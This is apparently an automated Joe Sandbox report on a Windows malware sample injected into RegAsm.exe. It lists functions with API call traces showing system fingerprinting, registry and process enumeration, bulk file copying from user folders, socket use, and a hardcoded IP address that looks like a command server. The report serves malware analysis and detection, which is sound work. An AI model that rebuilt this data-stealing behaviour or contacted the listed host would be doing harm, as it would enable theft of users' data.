Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: kW
API String ID: 593203224-2537022119
Opcode ID: 01234434f8f298b425d6843d8fa52d61d915d3b90ed83d685fd5d5b85b629882
Instruction ID: d2c394a54c6e6f795e39b7feb617d8507dc378fd5be5e796481f552b8d5bfd04
Opcode Fuzzy Hash: 01234434f8f298b425d6843d8fa52d61d915d3b90ed83d685fd5d5b85b629882
Instruction Fuzzy Hash: AB018031600619EFCB11DB18E859E6D7BB9FF88310F094099E4059B260DF70EE44EB50

Function 00575280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 005752E6
std::_Throw_Cpp_error.LIBCPMT ref: 005752F1

Part of subcall function 0057700B: ReleaseSRWLockExclusive.KERNEL32(005754A2,?,005754AA,00000000,?,?,?,00000006,?,?,?), ref: 0057701F

Strings

p&s, xrefs: 00575300

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID: p&s
API String ID: 3666349979-2707559136
Opcode ID: 543a010cd87cf03935b692219fffe8af84bfacc810044b93f26ec4159f4c4096
Instruction ID: 23b5618a3d3bab4ee212968e1f62922d29af3f92cc749c2cbec23dec4c43c9a4
Opcode Fuzzy Hash: 543a010cd87cf03935b692219fffe8af84bfacc810044b93f26ec4159f4c4096
Instruction Fuzzy Hash: 9C01F575504A426FD710EB28F809B4BBFD4BF94310F04C929F55C875A2E7B0E859DB92

Function 0057A30E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0057A319
___raise_securityfailure.LIBCMT ref: 0057A3D6

Strings

8s, xrefs: 0057A3D1

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8s
API String ID: 3761405300-983697633
Opcode ID: e7524c3b9e5aaf2d8860484b9f5c561f1b2663eda23b63a655bdbf3d3a25ddf5
Instruction ID: a30ec7c5ea2bf992021b1b9b88ca895a4f035ab8e19409855d102993907de985
Opcode Fuzzy Hash: e7524c3b9e5aaf2d8860484b9f5c561f1b2663eda23b63a655bdbf3d3a25ddf5
Instruction Fuzzy Hash: 5811D4B4A1A304DBE720DF15F946B847BF4BB5834AB00D25AE40887360E3BDA7818F59

Function 005723C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005723C5
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0057240A

Part of subcall function 0057763B: _Yarn.LIBCPMT ref: 0057765A
Part of subcall function 0057763B: _Yarn.LIBCPMT ref: 0057767E

Strings

bad locale name, xrefs: 00572418

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: de2ef4368b5154f2c80431e98c1746a9ed2a77b9d252fc2772c3c418ec9620b1
Instruction ID: 5adff8b6df7a0951c30a0cbdb6b0ff7ffac50272916028e7fadb3fc7c3c9c62d
Opcode Fuzzy Hash: de2ef4368b5154f2c80431e98c1746a9ed2a77b9d252fc2772c3c418ec9620b1
Instruction Fuzzy Hash: 33F0F470505B418EE3709F799509747BEE0BF29314F048E2EE48E87A42E375E508CBA6

Function 00584FE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 00585026

Strings

InitializeCriticalSectionEx, xrefs: 00584FF6
kW, xrefs: 00585016

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$kW
API String ID: 2593887523-1647445465
Opcode ID: 6546650803cac5ce7eec6a7002a858f6fdc97cb211859ab588bb5f356042d6e9
Instruction ID: d1e58b00888a3387b17e7eaf0e8b44eccca131ad99cb54387335a289ff908df1
Opcode Fuzzy Hash: 6546650803cac5ce7eec6a7002a858f6fdc97cb211859ab588bb5f356042d6e9
Instruction Fuzzy Hash: 58E06D36140218F7CF222B51DC0AE9E3F55FB44760F444022FD1D25160D6729921EBC0

Function 00584E6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00584EA0

Strings

kW, xrefs: 00584E96
FlsAlloc, xrefs: 00584E7C

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$kW
API String ID: 2773662609-3081376693
Opcode ID: b05de09dce6ac1b8a27ef1ff50f4978c08583fde3416183c0765c8b23ae8dfb5
Instruction ID: b8db2b85ebe5da5d8649d97f910f3c8e080ca4874a1c1e8bf280a66bfa0ff597
Opcode Fuzzy Hash: b05de09dce6ac1b8a27ef1ff50f4978c08583fde3416183c0765c8b23ae8dfb5
Instruction Fuzzy Hash: 34E0C231781229B7CB1137A1AC0AEAE7E08FB60B70B050022FE05651509AB14D10ABD6

Function 0057106D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00571074

Strings

p7Y, xrefs: 0057107E
,7Y, xrefs: 00571079, 0057108C, 005710A2

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: H_prolog3
String ID: ,7Y$p7Y
API String ID: 431132790-1075580772
Opcode ID: caacd8169f80150a60af50f607103dc6d41b4a28e3786896588e316c78b692c4
Instruction ID: ac39857b4f5a19a07f68603266e334451d7b91acffb79cd421ad4db81bb31ff9
Opcode Fuzzy Hash: caacd8169f80150a60af50f607103dc6d41b4a28e3786896588e316c78b692c4
Instruction Fuzzy Hash: 25E048B4942347DAEF10EBD0990B7EC7E74FB51725F908554E014671C2DBB80704E765

Function 00571016 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0057101D

Strings

\7Y, xrefs: 00571027
h2Y, xrefs: 00571022, 00571035, 0057104B

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: H_prolog3
String ID: \7Y$h2Y
API String ID: 431132790-3275151810
Opcode ID: ef8541ea7bd1177d55331456f13c2b4c8ba66ea2b313f7b9b92159c8e1d2f467
Instruction ID: 45a33f968c536c4dfbece67944558a9a61eae2f5274656f5257bf360f79db44c
Opcode Fuzzy Hash: ef8541ea7bd1177d55331456f13c2b4c8ba66ea2b313f7b9b92159c8e1d2f467
Instruction Fuzzy Hash: F3E048B4951347EAEF10EB94991B76D7E74BB80714F908164E0547A1C2C7B90B04AB62

Analysis Process: RegAsm.exePID: 6556, Parent PID: 6664COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	115

Executed Functions

Function 004E06D0 Relevance: 83.9, APIs: 43, Strings: 3, Instructions: 3428registrytimeprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 004E71E0: GetCurrentProcess.KERNEL32(004E0900), ref: 004E71EF
Part of subcall function 004E71E0: IsWow64Process.KERNEL32(00000000), ref: 004E71F6

Part of subcall function 0044196B: GetSystemTimeAsFileTime.KERNEL32(004E0A78,00000000,00000000,?,?,?,004E0A78,00000000), ref: 00441980
Part of subcall function 0044196B: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044199F

RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,00000000,?,?), ref: 004E0D31
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 004E0DFD
RegCloseKey.ADVAPI32(00000000), ref: 004E0E32
GetCurrentHwProfileA.ADVAPI32(?), ref: 004E0FCA
GetModuleHandleExA.KERNEL32(00000004,004E5FC0,00000000), ref: 004E14CB
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004E14E3
RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,?), ref: 004E1E96
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,?), ref: 004E1F62
RegCloseKey.ADVAPI32(?), ref: 004E21E1
GetComputerNameA.KERNEL32(?,00000104), ref: 004E2215
GetUserNameA.ADVAPI32(?,00000104), ref: 004E23B3
GetDesktopWindow.USER32 ref: 004E2456
GetWindowRect.USER32(00000000,?), ref: 004E2464
GetUserDefaultLocaleName.KERNEL32(?,00000200), ref: 004E25CF
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 004E2A95
LocalAlloc.KERNEL32(00000040), ref: 004E2AA7
GetKeyboardLayoutList.USER32(?,00000000), ref: 004E2AC2
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 004E2AED
LocalFree.KERNEL32(?), ref: 004E2CB0
GetLocalTime.KERNEL32(?), ref: 004E2CC7
GetSystemTime.KERNEL32(?), ref: 004E2EDD
GetTimeZoneInformation.KERNEL32(?), ref: 004E2F00
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 004E2F25
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 004E333F
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 004E3491
RegCloseKey.ADVAPI32(00000000), ref: 004E3542
GetSystemInfo.KERNEL32(?), ref: 004E356A
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 004E361D
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004E3731
EnumDisplayDevicesA.USER32(00000000,00000001,?,00000001), ref: 004E3B14
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004E3C53
Process32First.KERNEL32(00000000,00000128), ref: 004E3C6B
Process32Next.KERNEL32(00000000,00000128), ref: 004E3C81
Process32Next.KERNEL32(00000000,?), ref: 004E3D53
CloseHandle.KERNEL32(00000000), ref: 004E3D62
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 004E40D6
RegEnumKeyExA.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004E410D
wsprintfA.USER32 ref: 004E41F0
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 004E4213
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000400), ref: 004E4312
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000400), ref: 004E4409
RegCloseKey.ADVAPI32(?), ref: 004E44E5
RegCloseKey.ADVAPI32(00000000), ref: 004E4500

Strings

default26, xrefs: 004E0924, 004E09AE
;Yb., xrefs: 004E402D
2.0, xrefs: 004E09C7, 004E0A58

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Time$Close$OpenQueryValue$LocalNameSystem$EnumProcess32$CurrentDevicesDisplayFileHandleInfoKeyboardLayoutListLocaleModuleNextProcessUserWindow$AllocComputerCreateDefaultDesktopFirstFreeGlobalInformationMemoryProfileRectSnapshotSpecificStatusToolhelp32Unothrow_t@std@@@Wow64Zone__ehfuncinfo$??2@wsprintf
String ID: 2.0$;Yb.$default26
API String ID: 3690012277-846388879
Opcode ID: dc15e9d54f421c0849fef4b39b6b3529844eca07ae63c3251cddabc349db4be7
Instruction ID: dc7450f610ff8aefedfd2d9d6437dce6e22052c90493d9c27a7ed5ed6746c995
Opcode Fuzzy Hash: dc15e9d54f421c0849fef4b39b6b3529844eca07ae63c3251cddabc349db4be7
Instruction Fuzzy Hash: D093DEB4D0426D8BDB25CF99C981AEEBBB5FF48300F1041AAD909B7351DB345A81CFA5

Function 0045A6B7 Relevance: 57.9, APIs: 20, Strings: 12, Instructions: 1930
sleepsynchronizationnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000), ref: 0045A735
GetLastError.KERNEL32 ref: 0045A74A
Sleep.KERNEL32(00000529), ref: 0045A76B
Sleep.KERNEL32(0000002F), ref: 0045A7F2
shutdown.WS2_32(00000002), ref: 0045A810
closesocket.WS2_32 ref: 0045A81C
WSACleanup.WS2_32 ref: 0045A822
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045A8E3

Strings

tr 656 56 65 8658 658hfty, xrefs: 0045B509
er er y try rtsdh, xrefs: 0045B249
jjj, xrefs: 0045C61E
8.46.123.33, xrefs: 0045AAFD, 0045AB3F, 0045ABB1, 0045AC33, 0045AC4F, 0045AC96
jjj, xrefs: 0045C62F
ret 345 fdhg r, xrefs: 0045B157
ntdll.dll, xrefs: 0045B12B
+([X, xrefs: 0045A8FE
g 56 58y6, xrefs: 0045C607
4, xrefs: 0045C72C
h]V, xrefs: 0045ABAC
168, xrefs: 0045A6F5, 0045A9F4

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Sleep$CleanupCreateErrorLastMutexUnothrow_t@std@@@__ehfuncinfo$??2@closesocketshutdown
String ID: +([X$168$4$8.46.123.33$er er y try rtsdh$g 56 58y6$h]V$jjj$jjj$ntdll.dll$ret 345 fdhg r$tr 656 56 65 8658 658hfty
API String ID: 2485281039-155635337
Opcode ID: e7b3b1f102dbb57d36559d8f28569843230ee0c2f25c363efb6d61b5622065e2
Instruction ID: 3397d9be428a40b4218df41e5f78525fda186824d8120f9e0eb83ed13be68b32
Opcode Fuzzy Hash: e7b3b1f102dbb57d36559d8f28569843230ee0c2f25c363efb6d61b5622065e2
Instruction Fuzzy Hash: D82314B4D052698BCB24DF65C995AEEBBB0AF58304F1041DED409B7381DB386B84CF99

Function 004D7600 Relevance: 52.8, APIs: 31, Instructions: 6337fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,0055B192,000000FF), ref: 004D766C
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 004D7693
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D7959
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D7CBB
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8DF7
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9992
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DA31E
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DA3EF
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DA712
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DAA7D
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DAB4E
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DAE39
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB0C9
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB27C
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB556
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DB93C
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DBCF1
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DBEA4
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DC17E
CreateDirectoryA.KERNEL32(?,00000000), ref: 004DC564
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9FB3

Part of subcall function 004DFF00: CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 004E0556
Part of subcall function 004DFF00: GetLastError.KERNEL32 ref: 004E05A0

CreateDirectoryA.KERNEL32(?,00000000), ref: 004DC99C
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DCAF3

Part of subcall function 004DE430: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 004DE49D

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9C53

Part of subcall function 004E6770: SetFileAttributesA.KERNEL32(?,00000080,?,?,005894F8,?,?), ref: 004E6A8A
Part of subcall function 004E6770: DeleteFileA.KERNEL32(?), ref: 004E6AA4
Part of subcall function 004E6770: RemoveDirectoryA.KERNEL32(?), ref: 004E6B0B
Part of subcall function 004E6770: std::_Throw_Cpp_error.LIBCPMT ref: 004E6BE7
Part of subcall function 004E6770: std::_Throw_Cpp_error.LIBCPMT ref: 004E6BF8

Part of subcall function 004E6770: GetLastError.KERNEL32 ref: 004E6B20

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D9648

Part of subcall function 004DFF00: FindNextFileA.KERNEL32(00000000,?), ref: 004E056C
Part of subcall function 004DFF00: FindClose.KERNEL32(00000000), ref: 004E057C
Part of subcall function 004DFF00: GetLastError.KERNEL32 ref: 004E0582

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D91DD

Part of subcall function 004E6770: FindNextFileA.KERNELBASE(?,00000010), ref: 004E6AB8
Part of subcall function 004E6770: FindClose.KERNEL32(?), ref: 004E6ACA
Part of subcall function 004E6770: GetLastError.KERNEL32 ref: 004E6AD0
Part of subcall function 004E6770: SetFileAttributesA.KERNEL32(?,00000080), ref: 004E6AED

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D896A

Part of subcall function 004DFF00: CreateDirectoryA.KERNEL32(00000000,00000000,0000002E,0000002F,?,?,?,?,00565B0C,00000001,0000002E,0000002F,?,0055B49C,3"A,0055B49C), ref: 004E03DB

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8B1D
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8362

Part of subcall function 004E6770: FindFirstFileA.KERNEL32(00000000,?,005894F8,?,?,?,\*.*,00000004), ref: 004E68E5

CreateDirectoryA.KERNEL32(?,00000000), ref: 004D8623
CreateDirectoryA.KERNEL32(?,00000000), ref: 004D801B

Part of subcall function 004DFF00: FindFirstFileA.KERNEL32(00000000,?), ref: 004E010B

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Directory$Create$File$Find$ErrorLast$CopyCpp_errorThrow_std::_$AttributesFolderPath$CloseFirstNext$DeleteRemove
String ID:
API String ID: 1140557632-0
Opcode ID: 9142638f9282e238a91b32c17d2f2236ae0ea307a715bbba1de3798c9aef38c0
Instruction ID: 6b404ecdfd53acb60f6cf5d734e717c5294ca690171ae70fa85b8f1a38f34a58
Opcode Fuzzy Hash: 9142638f9282e238a91b32c17d2f2236ae0ea307a715bbba1de3798c9aef38c0
Instruction Fuzzy Hash: 76F3F2B4D0525A8BCF15CFA9C9916EEBBB0BF18304F20419AD549B7341DB346B84CFA6

Function 0045A102 Relevance: 33.8, APIs: 16, Strings: 3, Instructions: 507
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,Function_000C7B00,00000000,00000000,00000000), ref: 0045A1EB
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0045A1F2
Sleep.KERNEL32(00000001), ref: 0045A2AE
GetTempPathA.KERNEL32(000000FC,?,00000000,?,?,?,?,?,00000000), ref: 0045A33A

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 0045A525
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 0045A54B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045A565

Strings

jjjh, xrefs: 0045A1DC
h6rt hrd54, xrefs: 0045D7FA
168, xrefs: 0045D901

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Create$Directory$AttributesChangeCloseErrorFileFindLastNotificationPathSleepTempThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: 168$h6rt hrd54$jjjh
API String ID: 2868636072-672629080
Opcode ID: 0260c46e0055b24c756604404160291a04940b9936d13a02f0c90b7d58d05a7c
Instruction ID: e14f4bdc9b4ef9625342d0c5e9a1f2f0976a859d63f901a09db6015e27f613d7
Opcode Fuzzy Hash: 0260c46e0055b24c756604404160291a04940b9936d13a02f0c90b7d58d05a7c
Instruction Fuzzy Hash: 8322BF70D002599BCB14EFA8C955BEEBBB0AF54305F14419EE80677392DB386E48CF96

Function 00490600 Relevance: 27.9, APIs: 13, Strings: 2, Instructions: 1609registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0049083B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 0049086F
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,?,?), ref: 00490895
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,?), ref: 00490A2C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,00000104), ref: 00490CB3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,00000104), ref: 00490DA0
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 00490EE1
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,00000200), ref: 00490FCB
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,00000200), ref: 004910B5
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 0049119F
RegCloseKey.ADVAPI32(?), ref: 0049229B
RegEnumKeyA.ADVAPI32(?,00000001,?,00000104), ref: 004922D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 004922E5

Part of subcall function 004351FB: RaiseException.KERNEL32(E06D7363,00000001,00000003,0041ABA8,?,?,?,00431D09,0041ABA8,005799D8,00000000,0041ABA8), ref: 0043525B

Strings

cannot use operator[] with a string argument with , xrefs: 0049239E, 004923F3
cannot use push_back() with , xrefs: 00492345

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpen$ExceptionRaise
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2021570681-3306948993
Opcode ID: 9004a836958f55bf5762d9223cf2549fd7998f1dbcf6717a4a28bae55f265beb
Instruction ID: 6588d95b16ef9231476fd5dcccf1f9b41add861ffceb3a51b245dfb9ff216c52
Opcode Fuzzy Hash: 9004a836958f55bf5762d9223cf2549fd7998f1dbcf6717a4a28bae55f265beb
Instruction Fuzzy Hash: 5C0311B0C042698BDB25CF28CD84BEEBBB4BF48304F1042EAD549A7251EB756B85CF54

Function 004595B8 Relevance: 25.2, APIs: 9, Strings: 5, Instructions: 717
libraryloaderwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000), ref: 0045961B
GetProcAddress.KERNEL32(00000000,00000000), ref: 004596F8
MessageBoxA.USER32(00000000,00000000,00000000,00000014), ref: 0045995D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045998F

Strings

N7BG, xrefs: 0045990C
+([X, xrefs: 00459ED0
/*************/, xrefs: 00459C91
0Dk, xrefs: 0045971F
), xrefs: 004595C1

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadMessageProcUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: +([X$/*************/$0Dk$N7BG$)
API String ID: 2508193226-1790693568
Opcode ID: 0e2fd6a1cd3770516216c2df2cbb2324db921e03fcaf68cc94ded4f46787229c
Instruction ID: 1a7bd67e383c31407500a923b9ecef5f6587213a80e5914a89db6596f25cfd8d
Opcode Fuzzy Hash: 0e2fd6a1cd3770516216c2df2cbb2324db921e03fcaf68cc94ded4f46787229c
Instruction Fuzzy Hash: 3B7226B4E002198BCB14DF94C991AAEBBB1FF58301F24419ED909BB351DB34AE85CF95

Function 004E6770 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 334
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs
